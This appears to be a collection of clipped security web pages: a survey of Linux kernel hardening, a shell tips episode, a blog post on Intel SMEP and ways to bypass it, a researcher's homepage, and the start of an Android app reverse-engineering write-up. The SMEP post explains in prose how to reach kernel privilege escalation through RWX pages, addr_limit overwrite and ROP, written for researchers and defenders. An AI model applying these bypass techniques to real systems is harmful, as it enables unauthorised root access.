proactively. Theses works try to make kernel exploitation more cumbersome,
because frankly, we have to admit that the relative easiness to exploit a NULL
pointer dereference is embarrassing :\)

For instance, to understand the interest of this kind of proactive measures,
let's look back to Nelson's vulnerabilities: to be successful, Dan's exploit
has to combine three vulnerabilities to transform a denial of service into a
privilege escalation.

This defense in depth shows us how expensive it becomes to exploit a given
vulnerability. This is what we keep saying: there will always a vulnerability
somewhere in our system, so our only option is to try to make its exploitation
insane.

But let's see what are theses proactive measures...

### Permission hardening

Brad Spengler, author of grsecurity, has long been vocal on the fact that too
much information were leaked to user land. In consequence, grsec includes a
lot of restrictions to prevent theses information leaks. But what are we
talking about?

`/proc`, `/sys` and `/debug` pseudo-filesystems contain files revealing kernel
addresses, statistics, memory mapping, etc.  
Except in debugging session, theses information are totally useless and
meaningless. Nevertheless, most of theses files are world readable by default.
This is godsend if you are an attacker: no need to bruteforce kernel addresses
\(and we know that bruteforcing this kind of thing in kernel land is never a
good idea\)\!

Dan Rosenberg and Kees Cook \(of the Ubuntu security team\) worked hard to
merge theses restrictions into the official upstream tree:

  * `**dmesg_restrict**`: access to kernel log buffer \(used by `dmesg(8)`\) now require `CAP_SYS_ADMIN` capability.
  * Removal of addresses in `/proc/timer_list`, `/proc/kallsyms`, etc. Upstream developers tried hard to not merge theses patches thinking it was useless \(because addresses are also readable in `/boot/System.map`\) and above all, it would greatly complicate the work of maintainers reading bug report. That is why netdev maintainer netdev clearly NAKed this kind of patches. The zen and patience of Dan Rosenberg has to be highlighted here\!  
Alternatives were suggested by both parties:  

    * Since merely removing addresses from `/proc` files would break the ABI and thus a lot of scripts, it was proposed to replaced them by a dummy value \(`0x000000`\) if the reader is not privileged.
    * Changing access permissions to theses files, this "simple" change had a nasty effect on an ancient version of kluged causing the machine to not boot anymore . This lead to the revert of the patch unfortunately: Never break userspace\!
    * `XOR` displayed addresses with a secret value.
    * Etc.

The solution "retained" \(there is never a formal "Yes this is it", you have
to write the code and then this is discussed...\) is the first one: replacing
addresses by arbitrary values if reader not privileged.  
However, in order to prevent code duplication, the special _format specifier_
`%pK` was added to `printk()`. Depending on the `kptr_restrict` sysctl, this
specifier will restrict access to pointers.

For the occasion, the new capability `CAP_SYSLOG` was created for this
purpose.

A lot of work is still needed however, for example, thanks to his new fuzzer,
Dave Jones discovered that the loader of ACPI table was word-writable: anybody
could load a new ACPI table if `debugfs` was mounted, oops :\)

### Marking kernel memory read only

Actually, the Linux kernel does not use all possibilities offered by the
processor for its own memory management: read-only segments are not really
marked as so internally. As in user space, things could be improved: data
shall not be executable, etc.

This is still a work in progress, but developers try to remediate theses
issues. To be successful, a few actions are needed:

  * Really use hardware permission for the `.ro.data` segment . Because for the moment, permissions for this segment is purely virtual despite its name.
  * Function pointers never modifieds shall be marked as `const`-ant whenever possible. Indeed, one of the simplest method to exploit a kernel vulnerability is to overwrite a function pointer to jump in attacker area.  
Once a variable is marked `const`, it is moved into the previously seen
`.ro.data` \(you can guess that this move is only useful if the zone is really
read only\). Off course, it will not be possible to `const`-ify every function
pointers, there will still be room for an attacker but this is not a reason to
do nothing...

  * Disabling some entry points leading to `set_kernel_text_rw()` \(the "kernel" equivalent of `mprotect()` in order to not let attacker to change permissions after all.

A priori, developers do not seem opposed to this patch et and they would be
even happy to merge it in order to optimize virtualized guests .

### Disabling module auto-loading

Most of the vulnerabilities target code paths barely used. This could, by the
way, be the reason why this is where bugs are found.

Linux distributions don't have other option than compiling every features and
drivers to have a unique universal kernel. To not bloat the memory, this is
done via modules with a way to load them on demand.

This auto-loading feature is particularly interesting for attackers: they just
have to request an X.25 socket to have its associated module loaded, ready to
be exploited.

Dan Rosenberg \(again\!\) proposed to automatically load modules only if the
triggering process is privileged. Even if this restriction is already inside
grsecurity patches, this "feature" was considered too dangerous for
distributos and was NAKed to prevent any breakage :-/

### `UDEREF` support for AMD64 \(finally\)

PaX developers have always been clear: AMD64 Linux systems will never been as
secure as their i386 cousin. This statement is due to the lack of the
segmentation.

However, they did their best to implement `UDEREF` anyway.

As a reminder, `UDEREF` prevents the kernel to use memory owned by user land
without stating it explicitly. This features offers protection against _NULL
pointer dereferences_ bugs.

On i386, this is easily done by using segmentation logic. But on AMD64, this
stays a \(dirty\) hack by moving the user space zone at another place and
change its permissions.

The problem is that we just shift the issue: now, instead of deferencing a
null pointer, attacker now has to influence the kernel to dereference another
address, but as pageexec said, if we are at this point, this should the last
of our concern :\)  
As if this wasn't enough, this hack "wastes" 5 bits of addressing \(leaving 42
bits for the process\) and little bit of d'ASLR by the way...  
The icing on the cake is that the performance are impacted for each transition
user-to-kernel and kernel-to-user because of the TLB flush.

## Network security?

Network security is not really "sexy" enough to receive the same level of
contributions to the Linux kernel, maybe because researchers prefers to work
on offensive things.  
Besides the Netfilter rewrite \(called nftable\) started last year, not so
many things happened. One of the few things remarkable was the implementation
of TCP Cookie Transactions et improvements to "old" syncookies.

When a system is overloaded, TCP syncookies are used to not store states until
the connection is not really opened. This "old-school" protection was designed
to evade from SYN flood attacks. Nowadays, this is merely pointless since
today's DoS saturate the network bandwidth instead of the kernel memory.  
Anyway, this is not a reason to do nothing :\)

Previously, SYNcookies were considered as "has to be used in last resort"
because TCP options carried by the first SYN packet were lost since the kernel
was not saving it \(congestion bit, _window scaling_ or _selective
acknowledgement_\).

This is not true anymore: the kernel now codes theses information into the 9
lower bits of the TCP Timestamp option when replying by a SYN-ACK \(it has to
be noted that the manpage has not been updated yet\).  
This means that syncookie is not harmful anymore for performances and be used
safely, despite what says the tcp\(7\) manpage \(a bug was submitted to update
the description\).

# Kernel confessions

While reading lists, I came across some interesting confessions:

The capabilities drama :

> Quite frankly, the Linux capability system is largely a mess, with big
> bundled capacities that don't make much sense and are hideously inconvenient
> with the capability system used in user space \(groups\).  
>  -hpa
Too many patches to review for the -stable branch :  

> > > I realise it wasn't ready for stable as Linus only pulled it in  
>  > > 2.6.37-rc3, but surely that means this neither of the changes  
>  > > should have gone into 2.6.32.26.  
>  > Why didn't you respond to the review??  
>  
>  I don't actually read those review emails, there are too many of them.
# Conclusion

A lot of good things happened in the Linux kernel last year thanks to the
people cited in this post. Moreover, it is interesting to see that most of
theses features have been written by security researchers and not "upstream
kernel developer" \(except Ingo Molnar who proved a lot of good will each
time\).  
This may be the explanation why each patch merged was the fruit of never-
ending threads \(we can applause their patience\)...  
This is only now that I start understanding how much Brad Spengler was right
when he declared war against LSM. Do "Security" subsystem maintainers should
leave their ivory tower and start understanding the real life of a syadmin?
The kind of guy who don't have time to update every servers to the latest git
version, nor to write SELinux which, by the way, would be useless once a
kernel vulnerability is found.  
Any way, this is only the opinion of a guy involved in the security circus...

However, we can still be happy to see theses changes finally merged. And with
some luck, we can hope that someday, `mmap_min_addr` will not be bypassable...
And that proactive features will require researchers to combine multiple
vulnerabilities to exploit one flaw.  
I don't say that there will be no more bugs, perish the throught, but I hope
that the exploitation cost will be so high that only a tiny fraction of
attacker will be able to do it.  
At this point, security researchers will have to dive into "logic bugs", like
Taviso's vulnerabilities `LD_PRELOAD`/`LD_AUDIT` which were bypassing most of
available hardening protections.

  *[ASLR]: Address Space Layout Randomization

# Command Line Kung Fu: Episode \#9 - Stupid Shell Tricks: Display the Nth
Line

**Created:**| _5/16/2009 10:34:23 AM_  
---|---  
**Updated:**| _5/16/2009 10:34:27 AM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#9 - Stupid Shell Tricks: Display the Nth Line

Hal Says:  
  
Here's a stupid little shell idiom. How do you print  _only_ the nth line of a
file? There are only about a dozen ways to do this in the Unix shell, but the
one programmed into my wetware is:  

[code]

     $ **head - <n> <file> | tail -1**
    
[/code]

  
  
Paul Responds:  
  
I'm kind of partial to awk, awk is my friend, its quick, dirty, and powerful
\(and I seem to learn about new techniques all the time, which makes it
fun\!\):  
  

[code]

     $ **awk 'FNR == 42' file**
    
[/code]

  
  
Also, I like this command because its shorter, and despite popular belief UNIX
people don't really like to type :\)  
  
Ed adds a little Windows perspective:  
  
Ahhh... what I wouldn't give for head or tail in Windows. That sounds like a
new motto for a Pauldotcom T-shirt or bumper sticker.  
  
You can get most of the functionality you are describing here in Windows using
the following construct:  
  

[code]

    C:\> **find /v /n "" <file> | findstr /b /L [<n>] **
    
[/code]

  
  
This may look crazy, but without head or tail, we need to trick Windows into
doing what we want, as usual. What I'm doing here is using the find command to
prepend line numbers \(/n\) to lines in the file that do not \(/v\) contain
the string "". As we saw in Episode \#3, searching for lines that do  _not_
have  _nothing_ shows all lines. Thus, the first portion of this command is
actually prepending line numbers \(in the form of \[N\], with the brackets\)
to each line in the file and sending them to standard out. I then pipe the
result to the findstr command. The /b option tells findstr to display lines
that have the string we are searching for at the beginning of a line. That way
we won't get accidental collisions if \[<n>\] shows up inside of the file
anywhere. We'll just be looking for the \[<n>\] that the find command
prepended. I use a /L to indicate a literal string match. Otherwise, the
double bracket around the n will confuse findstr.  
  
The output is almost just what we want. There is one downside, though. There
will be a \[n\] prepended to our line. But, that's pretty close, no?  
  
Well, if you insist, you can remove that \[n\] with a FOR /F loop to do some
parsing, but that starts to get really ugly if you just want to see the
contents of the line. Anyway, because I luv ya, here goes:  
  

[code]

    C:\> **find /v /n "" <file> | findstr /b /L [<n>] > temp.txt &  
    for /F "delims=[] tokens=2" %i in (temp.txt) do @echo %i & del temp.txt**
    
[/code]

  
  
Told you it was ugly. But, when you only have FOR /F loops to parse, you
sometimes have to do this kind of thing.

# Security Research by Dan Rosenberg

**Created:**| _5/22/2011 1:35:26 PM_  
---|---  
**Updated:**| _5/22/2011 1:35:41 PM_  
**Author:**| __  
**Tags:**| _security Linux kernel_  
  

# SMEP: What is It, and How to Beat It on Linux

On May 16, 2011, Fenghua Yu submitted a series of patches to the upstream
Linux kernel implementing support for a new Intel CPU feature: Supervisor Mode
Execution Protection \(SMEP\). This feature is enabled by toggling a bit in
the cr4 register, and the result is the CPU will generate a fault whenever
ring0 attempts to execute code from a page marked with the user bit.

First, some background on why this feature is useful. Like most mainstream
operating systems, the vanilla Linux kernel does not leverage x86
segmentation, instead defining flat segment descriptors with limits
encompassing the entire 4gb address space. Additionally, each process has the
kernel's page table entries replicated, resulting in the kernel address space
being mapped in the upper 1gb of every user process. Both of these decisions
are for performance reasons: reloading segment selectors at every trap and
kernel-to-user \(or vice versa\) copy operation introduces a non-negligible
\(but not necessarily unacceptable\) performance hit, and having completely
separate user and kernel address spaces would necessitate a TLB flush on every
trap, which is even more expensive.

The result of this is that the kernel is free to incorrectly access data
residing in userspace, as well as execute code in the user region. In addition
to enabling the exploitation of many bugs that rely on the kernel incorrectly
using user data, this allows kernel exploits to simply map a suitable payload
in userspace and divert kernel execution to that payload.

The PaX project solves this problem in a general way with a feature called
PAX\_UDEREF. When this feature is enabled, PaX leverages segmentation to
isolate user and kernel addresses, such that a fault will be generated when
the kernel incorrectly accesses user data or code. Unfortunately, due to the
performance hit associated with reloading segment registers and the fact that
this touches mission-critical code, it's unlikely that this solution would be
accepted into the upstream Linux kernel.

**Update:** I'm told by the PaX team that recent benchmarks have shown there
is almost no measurable performance impact for UDEREF on i386, as reloading
segment registers has become much cheaper since the initial benchmarks of this
feature \(on the order of 16 cycles\). However, it's still unlikely that the
upstream kernel would find the feature suitable, since using segmentation
would be a significant departure from current kernel design principles.

Enter SMEP. Now, the mainline Linux kernel can take advantage of a subset of
this protection at essentially no performance cost, as the functionality is
presumably implemented in hardware in a way that's similar to existing CPL
checks. With SMEP enabled, it's no longer possible to map exploit payloads in
userland, as the CPU will trigger a fault if it attempts to execute those user
pages in kernel mode. Note that this is still only a subset of what UDEREF
protects against, as it does nothing to prevent the kernel from incorrectly
accessing user \*data\* as opposed to code. But it's certainly a start.

It may take awhile for the hardware to catch up - it doesn't seem any existing
CPUs actually implement SMEP, and we all know how long adoption of hardware NX
has taken \(and continues to take\). However, once SMEP is widespread, what
are kernel exploit writers going to do? Is this the end of Linux kernel
exploits?

Of course not. While SMEP is definitely a very good security feature and is a
step in the right direction, no single feature is going to "win security".
Let's go into a few ways to bypass this protection \(I'm sure there are
more\).

# RWX Kernel Pages

The first problem is the kernel's page permissions aren't yet in a completely
sane state. By compiling a kernel with CONFIG\_X86\_PTDUMP \(or using Kees
Cook's modularized version of this feature\), we can take a look at the
permissions of kernel pages via the `/sys/kernel/debug/kernel_page_tables`
debugfs file. In particular, we're interested in pages that are both writable
and executable:

[code]

    # grep RW /sys/kernel/debug/kernel_page_tables | grep -v NX
    0xc009b000-0xc009f000           16K     RW              GLB x   pte
    0xc00a0000-0xc0100000           384K    RW              GLB x   pte
    0xc1400000-0xc1580000           1536K   RW              GLB x   pte
    
    
[/code]

The first two regions are especially useful, since they will appear at static
addresses on many modern 32-bit kernels. The first region is reserved for the
BIOS, and the second is the so-called "I/O hole" used for DMA. While it's
probably best to avoid scribbling all over the I/O hole, as it's commonly used
at runtime, there's no reason that writing into the BIOS region would cause
any stability issues after booting is complete.

So, if we have a kernel write primitive, all we have to do is write our
payload into the BIOS region and divert execution there. If the target kernel
leaks symbol locations via `/proc/kallsyms` or similar, then diverting
execution is a simple matter of resolving the address of a suitable function
pointer, overwriting it, and triggering it. Otherwise, it's trivial to issue a
`sidt` instruction to retrieve the address of the IDT and set up a trap
handler pointing into the payload. SMEP will have nothing to complain about,
since we never cause the kernel to attempt to execute from user pages.

# Stack Metadata

A second way to bypass this protection is to leverage the `addr_limit`
variable, which resides in the `thread_info` structure at the base of each
process' kernel stack.

As described in Jon Oberheide's and my presentation on Stackjacking, it's
possible to exploit the leakage of uninitialized stack data, a common bug, in
order to infer the address of the base of a process' kernel stack. I developed
a library called libkstack to do so generically. Once this address is
inferred, a kernel write vulnerability can simply write `ULONG_MAX`
\(`0xffffffff`\) into the `addr_limit` variable, which is at a reliable offset
from the kernel stack base. At this point, arbitrary kernel memory can be read
from and written to, since all kernel copy functions will accept kernel
pointers as user arguments. For example, you can do a `write(pipefd,
kernel_addr, len)` to read the data from `kernel_addr` into a pipe, to be
retrieved later. Once you have an arbitrary kernel read and write, the current
process' `cred` structure can be found and written into, escalating privileges
to root. Again, this attack does not require executing any user code with
kernel privileges, so SMEP cannot stop it.

**Update:** it's worth noting that grsecurity protects against this type of
attack by removing the `thread_info` structure from the kernel stack.

# Return-Oriented Programming

In the event that kernel symbols can be resolved on the target kernel
\(especially common on distro kernels\) and the attacker has a stack overflow
or another vulnerability that allows pivoting the stack pointer into an area
of attacker controlled data, kernel ROP is possible. Fortunately, the
`setup_smep` function, which has code to both enable and disable the SMEP bit
in the cr4 register, is marked `__init`, so it's likely to have been cleaned
up by the kernel after initialization and is not a good candidate for ROP.
However, more complex ROP payloads are certainly possible, as I hope to
demonstrate later this year. For now, I'll leave this up to your imagination.
;\)

# What Needs to be Fixed

Some progress on removing useful sources of information leakage has been made
with the kptr\_restrict and dmesg\_restrict sysctls. Continued work on
plugging similar leaks should improve the usefulness of these features.
However, it's still trivial to resolve the locations of kernel code and data
on distribution kernels, since they are shipped as binaries that are identical
across all machines with the same kernel version. This is demonstrated
perfectly by Jon Oberheide's ksymhunter project.

The solution I'm currently working on is implementing randomization of the
address at which the kernel is decompressed at boot. This way, even if an
attacker can download an identical kernel image as the target host, he won't
know where kernel data and code resides in a running kernel, assuming an
absence of information leakage. In order to be effective, this solution
requires relocating the IDT - otherwise, it will reside at the location
pointed to by the `idt_table` symbol, and an `sidt` instruction would allow an
attacker to calculate the offsets of every other kernel symbol relative to the
address of the IDT. This has its own challenges, but I'm making progress and
hope to submit a working version in the coming weeks. This will also have the
useful side effect of marking the IDT read-only, which will prevent it from
being a generic target for kernel write vulnerabilities.

Next, more work needs to be done on making sure page protections in the kernel
are sane. Most importantly, RWX mappings should be removed and function
pointer tables should be enforced read-only. Fortunately, efforts are underway
in this area as well, with help from Kees Cook.

Hopefully, with the combined efforts to remove information leakage via
restricting leaks and kernel image randomization, stronger page protections in
the kernel, and SMEP, the Linux kernel will have significantly raised the bar
for exploitation.

# Leonardo de Moura' Homepage

**Created:**| _11/12/2010 5:49:22 PM_  
---|---  
**Updated:**| _11/12/2010 5:49:49 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification research Microsoft projects solver
SMT_  
  

# Leonardo de Moura

## Microsoft Research

* * *
Senior Researcher in the Software Reliability Research group at Microsoft
Research.

Tel.: \(425\) 421-6987

Fax: \(425\) 936-7329

Email: leonardo AT microsoft DOT com

Address: One Microsoft Way, Redmond, WA, 98052

* * *
### Professional interests:

SMT solvers, Decision Procedures, Theorem Proving, Static Analysis.

### News

  * HVC Award, 2010.
  * Invited Talk at IJCAR'2010, July 19, Edinburgh, UK. \(SLIDES\)

### Projects

  * Z3: SMT Solver

### Publications

  * Efficiently Solving Quantified Bit-Vector Formula, Christoph Wintersteiger, Youssef Hamadi and Leonardo de Moura, FMCAD, Lugano, Switzerland, 2010.
  * Bugs, Moles and Skeletons: Symbolic Reasoning for Software Development, Leonardo de Moura, Nikolaj Bjørner, IJCAR, Edinburgh, Scotland, 2010.
  * Grobner Basis Construction Algorithms Based on Theorem Proving Saturation Loops, Grant Olney Passmore, Leonardo de Moura and Paul Jackson, submitted to the proceedings for "Decision Procedures in Software, Hardware and Bioware" Seminar at Dagstuhl, Germany, 2010.
  * Generalized and Efficient Array Decision Procedures, Leonardo de Moura, Nikolaj Bjørner, FMCAD, Austin TX, 2009. Extended version: Technical report MSR-TR-2009-121.
  * Satisfiability Modulo Theories: An Appetizer, Leonardo de Moura, Nikolaj Bjørner, invited paper to SBMF 2009, Gramado, Brazil.
  * Superfluous S-polynomials in Strategy-Independent Grobner Bases, Grant Olney Passmore, Leonardo de Moura, 11th International Symposium on Symbolic and Numeric Algorithms for Scientific Computing \(SYNASC\), Timisoara, Romania, 2009.
  * On Locally Minimal Nullstellensatz Proofs, Leonardo de Moura, Grant Olney Passmore, SMT'09. Extended version: Techical report MSR-TR-2009-90.pdf.
  * Universality of Polynomial Positivity and a Variant of Hilbert's 17th Problem, Grant Olney Passmore, Leonardo de Moura, ADDCT'09.
  * Z310: Applications, Enablers, Challenges and Directions, Nikolaj Bjørner, Leonardo de Moura, invited paper to CFV 2009.
  * On deciding satisfiability by DPLL\(Gamma+T\) and unsound theorem proving, Maria Paola Bonacina, Christopher Lynch and Leonardo de Moura, 22nd International Conference on Automated Deduction \(CADE-22\), Montreal, Canada, 2009.
  * Complete instantiation for quantified SMT formulas, Yeting Ge and Leonardo de Moura, Conference on Computer Aided Verification \(CAV 2009\), Grenoble, France, 2009.
  * A Concurrent Portfolio Approach to SMT Solving, Christoph M. Wintersteiger, Youssef Hamadi and Leonardo de Moura, Conference on Computer Aided Verification \(CAV 2009\), Grenoble, France, 2009.
  * Deciding Effectively Propositional Logic with Equality, Ruzica Piskac, Leonardo de Moura, and Nikolaj Bjørner, Technical Report: MSR-TR-2008-181
  * Accelerating Lemma Learning using Joins - DPPL\(Join\), Nikolaj Bjørner, Bruno Dutertre and Leonardo de Moura, Short paper at LPAR 2008, Doha.
  * Proofs and Refutations, and Z3, Leonardo de Moura and Nikolaj Bjørner, IWIL 2008.
  * Satisfiability Modulo Bit-precise Theories for Program Exploration, Nikolaj Bjørner, Leonardo de Moura and Nikolai Tillmann, Invited workshop paper, CFV 2008
  * .
  * Deciding Effectively Propositional Logic using DPLL and substitution sets, Leonardo de Moura and Nikolaj Bjørner, International Joint Conference on Automated Reasoning \(IJCAR\), Sydney, Australia, 2008.
  * Engineering DPLL\(T\) + Saturation, Leonardo de Moura and Nikolaj Bjørner, International Joint Conference on Automated Reasoning \(IJCAR\), Sydney, Australia, 2008.
  * Z3: An Efficient SMT Solver, Leonardo de Moura and Nikolaj Bjørner, Conference on Tools and Algorithms for the Construction and Analysis of Systems \(TACAS\), Budapest, Hungary, 2008.
  * Relevancy Propagation, Leonardo de Moura and Nikolaj Bjørner, MSR Technical Note, October 2007.
  * Efficient E-matching for SMT solvers, Leonardo de Moura and Nikolaj Bjørner, Conference on Automated Deduction \(CADE\), Bremen, Germany, 2007.
  * Model-based Theory Combination, Leonardo de Moura and Nikolaj Bjørner, Workshop on Satisfiability Modulo Theories \(SMT\), Berlin, Germany, 2007.
  * Design and Results of the Second Satisfiability Modulo Theories Competition \(SMT-COMP 2006\), Clark Barrett, Leonardo de Moura, and Aaron Stump, Formal Methods in System Design, 2007. To appear.
  * A Tutorial on Satisfiability Modulo Theories, Leonardo de Moura, Bruno Dutertre, and Natarajan Shankar, Conference on Computer Aided Verification \(CAV\), Berlin, Germany, 2007.
  * A Fast Linear-Arithmetic Solver for DPLL\(T\), Bruno Dutertre and Leonardo de Moura, Conference on Computer Aided Verification \(CAV\), Seattle, WA, 2006.
  * Integrating Simplex with DPLL\(T\), Bruno Dutertre and Leonardo de Moura, SRI Technical Report: SRI-CSL-06-01.
  * Design and Results of the 1st Satisfiability Modulo Theories Competition \(SMT-COMP 2005\), Clark Barrett, Leonardo de Moura, and Aaron Stump, Journal of Automated Reasoning \(JAR\)
  * Integrating Verification Components, Leonardo de Moura, Sam Owre, Harald Ruess, John Rushby, and Natarajan Shankar, Invited position paper for Verified Software: Theories, Tools, Experiments, Zurich, Switzerland, October 2005
  * Automated Test Generation with SAL, Gregoire Hamon, Leonardo de Moura, and John Rushby, CSL Technical Note, January 2005.
  * Generating Efficient Test Sets with a Model Checker, Gregoire Hamon, Leonardo de Moura, and John Rushby, SEFM'04, Beijing, China, September 2004.
  * Justifying Equality, Leonardo de Moura, Harald Ruess and Natarajan Shankar, PDPAR 2004, Cork, Ireland, July 2004.
  * SAL 2, Leonardo de Moura, Sam Owre, Harald Ruess, John Rushby, N. Shankar, Maria Sorea, and Ashish Tiwari, Computer-Aided Verification, CAV '2004.
  * An Experimental Evaluation of Ground Decision Procedures, Leonardo de Moura and Harald Ruess, Computer-Aided Verification, CAV '2004.
  * The ICS decision procedures for embedded deduction, Leonardo de Moura, Harald Ruess, Natarajan Shankar, and John Rushby, IJCAR 2004, Cork, Ireland, July 2004.
  * From Simulation to Verification \(and Back\), Harald Ruess and Leonardo de Moura, 2003 Winter Simulation Conference.
  * Embedded Deduction With ICS, Leonardo de Moura, Harald Ruess, John Rushby, and Natarajan Shankar, NSA's Third High Confidence Software and Systems Conference, Baltimore, MD, 2003.
  * Bounded Model Checking and Induction: From Refutation to Verification, Leonardo de Moura, Harald Ruess, and Maria Sorea, Computer-Aided Verification, CAV '2003.
  * Lazy Theorem Proving for Bounded Model Checking over Infinite Domains, Leonardo de Moura, Harald Ruess, and Maria Sorea, 18th International Conference on Automated Deduction, CADE'2002.
  * Lemmas on Demand for Satisfiability Solvers, Leonardo de Moura and Harald Ruess, Fifth International Symposium on the Theory and Applications of Satisfiability Testing, SAT'02.
  * Clone Detection Using Abstract Syntax Trees, Ira Baxter, Andrew Yahin, Leonardo de Moura, Marcelo Sant'Anna, Lorraine Bier, International Conference on Maintenance, ICSM'98.

### Slides

  * Bugs, Moles and Skeletons: Symbolic Reasoning for Software Development, IJCAR'2010, Edinburgh, UK, 2010.
  * Satisfiability with and without theories, KR'2010, Toronto, Canada, 2010.
  * Generalized and Efficient Array Decision Procedures, FMCAD, Austin TX, 2009.
  * SMT@Microsoft, New York University, New York, 2009.
  * SMT@Microsoft, Max Planck Institut Informatik, Germany, 2009.
  * On Designing and Implementing Satisfiability Modulo Theory Solvers, Summer School 2009: Verification Technology, Systems & Applications, Nancy, France \(lecture 1, lecture 2\).
  * SMT@Microsoft, Midwest Verification Day, Iowa, 2009 \(Powerpoint Slides\).
  * Satisfiability Modulo Theories: A Calculus of Computation, PUC-Rio, Rio de Janeiro, Brazil \(Powerpoint Slides\).
  * Satisfiability Modulo Theories: An Appetizer, SBMF 2009, Gramado, Brazil \(Powerpoint Slides\).
  * Complete Instantiation for Quantified Formulas in SMT, CAV 2009, Grenoble, France \(Powerpoint Slides\).
  * Applications and Challenges in Satisfiability Modulo Theories, WING 2009, York, UK \(Powerpoint Slides\).
  * Quantifiers in Satisfiability Modulo Theories, Frontiers of Computational Reasoning, Cambridge, UK \(Powerpoint Slides\).
  * Quantifiers in Satisfiability Modulo Theories, Univeristy of Manchester, UK \(Powerpoint Slides\).
  * Accelerating lemma learning using joins, LPAR 2008, Doha, Qatar \(Powerpoint Slides\).
  * Software Verification and Testing, NSF Workshop on Symbolic Computation for Constraint Satisfaction Problems, Virginia, 2008 \(Powerpoint Slides\).
  * Invited Tutorial: Applications of SMT solvers in Software Verification, VSTTE'08, Toronto, Canada 2008 \(Powerpoint Slides\).
  * Experiments in Software Verification using SMT solvers, VS Experiments'08, Toronto, Canada 2008 \(Powerpoint Slides\).
  * Engineering DPLL\(T\) + Saturation \(PDF\), IJCAR'08, Sydney, Australia 2008 \(Powerpoint Slides\).
  * SMT solvers in Program Analysis and Verification \(PDF\), Tutorial at IJCAR'08, Sydney, Australia 2008 \(Powerpoint slides\).
  * SMT Solvers: Theory and Implementation, Summer School on Logic and Theorem Proving in Programming Languages, Oregon 2008 \(exercises\).
  * SMT@Microsoft \(PDF\), Institute for Formal Models and Verification at the Johannes Kepler University, Linz, Austria, 2008 \(Powerpoint Slides\).
  * Z3: An Efficient SMT Solver \(PDF\), TACAS, Budapest, Hungary, 2008 \(Powerpoint Slides\).
  * Z3: An Efficient SMT Solver, McMaster University Hamilton, CA, 2007.
  * SMT@Microsoft, AFM, Atlanta, 2007.
  * SMT@Microsoft, Intel, Portland, 2007.
  * Developing Efficient SMT Solvers, ESARLT, Bremen, Germany, 2007.
  * SMT solvers: Introduction & Applications, University of Cambridge, UK, 2007.
  * Z3: An Efficient SMT solver, MS Research Cambridge, UK, 2007.
  * Efficient E-matching for SMT solvers, CADE, Bremen, Germany, 2007.
  * Z3 0.1: An Efficient SMT solver, SMT-COMP, Berlin, Germany, 2007.
  * Model-based Theory Combination, SMT, Berlin, Germany, 2007.
  * Developing Efficient SMT Solvers, Carnegie Mellon University, Pittsburgh, 2007.
  * Tutorial on SMT solvers, FMCAD, San Jose, 2006.

### Professional Activities

  * LICS'11 \(PC\), EMS+QMS 2010 \(Panelist\), SMT'10 \(PC\), TACAS'10 \(PC\), FMCAD'09 \(PC\), SMT'09 \(PC\), AFM'09 \(PC\), BPR'09 \(PC\), Beyond-SAT'09 \(PC\),
  * FroCoS'09 \(PC\), AFM'08 \(PC\), IJCAR'08 \(tutorial: SMT in program verification\), SMT'08 \(co-chair\),
  * SAT'08 \(PC\), BPR'08 \(PC\), AFM'07 \(PC\)
  * , SMT'07 \(PC\), SAT'07 \(PC\),
  * FMDCAD'06 \(tutorial chair, PC\), PDPAR'06 \(PC\), SMT-COMP'06 \(organizer\), SMT-COMP'05 \(organizer\).

### Links

  * My old page at SRI International.
  * SMT-LIB
  * SMT-COMP

### Courses

  * Satisfiability Modulo Theories \(SMT\): Ideas & Applications, Universita Degli Studi di Milano, Italy, March 2010 \(part 1, part 2, part 3, part 4, assignment\).
  * On Designing and Implementing Satisfiability Modulo Theory Solvers, Summer School 2009: Verification Technology, Systems & Applications, Nancy, France \(lecture 1, lecture 2\).
  * SMT Solvers: Theory and Implementation, Summer School on Logic and Theorem Proving in Programming Languages, Oregon 2008 \(exercises\).
  * CS359: Little Engines of Proof, Stanford University, Fall 2003.

# Android Reverse Engineering | thomascannon.net
**Created:**| _11/24/2010 5:43:16 PM_  
---|---  
**Updated:**| _11/25/2010 7:44:50 AM_  
**Author:**| __  
**Tags:**| _reversing android_  
  

## Android Reverse Engineering

Last Update: 8th November 2010  
Status: Complete \(but may expand\)

### Introduction

This project all started when I was asked to take a look at a software product
that was under evaluation. The software ran on mobile devices such as iPhone
and Android and allowed end users to securely connect to their organisation
from their personal phones. It provided a sandbox environment where company
data could be viewed, and it encrypted all of it’s data. It is used by large
blue chip companies and the literature claims it was evaluated and cleared by
the US Department of Defence as suitable for use. I decided to verify the
security myself and spent about 14 hours of my own time at home in which I was
able to break the encryption and recover all data.

I cannot name the actual product but I have documented some of my technical
notes below. They provide general tips, tricks and techniques that can be used
by others to evaluate security of their mobile products. My hope is to also
provide information for developers so that they understand where potential
weaknesses are, and mitigate accordingly.

### Scenario

For reference the main scenario I was working to evaluate was a common one: a
user loses their mobile device or it is stolen. Because these devices are not
under control of a central IT policy we have to assume that they won’t
necessarily have a device level password in place. Therefore I haven’t \(yet\)
looked at bypassing the device lockout screen. In addition, after its first
launch the app I’m evaluating runs in the background in a locked state, with
the user entering their password to unlock. So the scenario is that I find the
device, it is running the security software but it is locked, what data can I
retrieve?

### Hardware & Software

The hardware I’m using is an HTC Desire running Android 2.2 \(Froyo\). It was
the evaluation platform I had to work with and currently own, I have nothing
against Android, in fact I really like it. I think the concepts will be
similar for iPhone and most other capable smart phones \(except perhaps
BlackBerry in some cases\). I also used a laptop running Linux.

### Accessing The Device

A number of methods can be used to explore the device. For ease of analysis
and documentation the device was accessed over USB from a Linux system using
debug mode.

First the device needs to have debug mode enabled. Go to:

Settings > Applications > Development > USB Debugging

Then connect the device to the Linux host computer using the USB cable.

The software to use debug mode comes with the Android Software Development Kit
which is a free download from Google. The SDK for Linux was simply downloaded
and uncompressed.

First we list the devices detected by the Android Debug Bridge \(ADB\):

[code]

    user@laptop:# ./adb devices 
    List of devices attached 
    HT07NPL03993    device
    
[/code]

Then we connect to a shell on the device:

[code]

    user@laptop:# ./adb shell 
    $ 
    
[/code]

Find out what user level we’re running under:

[code]

    $ id 
    uid=2000(shell) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),3001(net_bt_admin),3002(net_bt),3003(inet)
    
[/code]

We are running as user “shell” which is quite restricted and won’t be able to
see much on the system. The next task is to use an exploit to gain root
privileges. There are a number of exploits that currently work and a common
one was chosen. Note that this is a temporary escalation and is not quite the
same as “rooting your device”.

